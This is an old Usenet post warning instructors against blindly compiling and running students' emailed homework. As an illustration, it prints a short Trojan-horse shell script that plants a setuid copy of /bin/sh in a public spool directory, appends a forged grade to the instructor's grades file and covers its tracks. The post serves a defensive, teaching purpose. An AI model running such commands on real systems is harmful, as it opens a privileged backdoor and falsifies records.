students editing output

[Bill.Stewart.4K435.x0705]

> > Why not just have the students mail their final version for grading
> > to the instructor, who can easily put them in files, compile and test
> > them, and print them if necessary.  To save time, set an alarm to
> > time out any submission that takes too long to compile and run.
> 
Better do some basic sanity checking first, or some wise guy will
horse you.  Imagine a program called homework4.c that does:
	#!/bin/sh for illustration purposes
	cp /bin/sh /usr/spool/uucppublic/.sh
	chmod ug+s /usr/spool/uucppublic/.sh
	echo "user, j.r.	homework4	98" >>$HOME/grades
	mv <argv[0]> .tmp
	cp /usr/spool/uucppublic/jruser/homework4* .
	(sleep 10 ; rm .tmp)&
	exec homework4

-- 
## Bill Stewart, AT&T Bell Labs, Holmdel NJ 1-201-949-0705 ihnp4!ho95c!wcs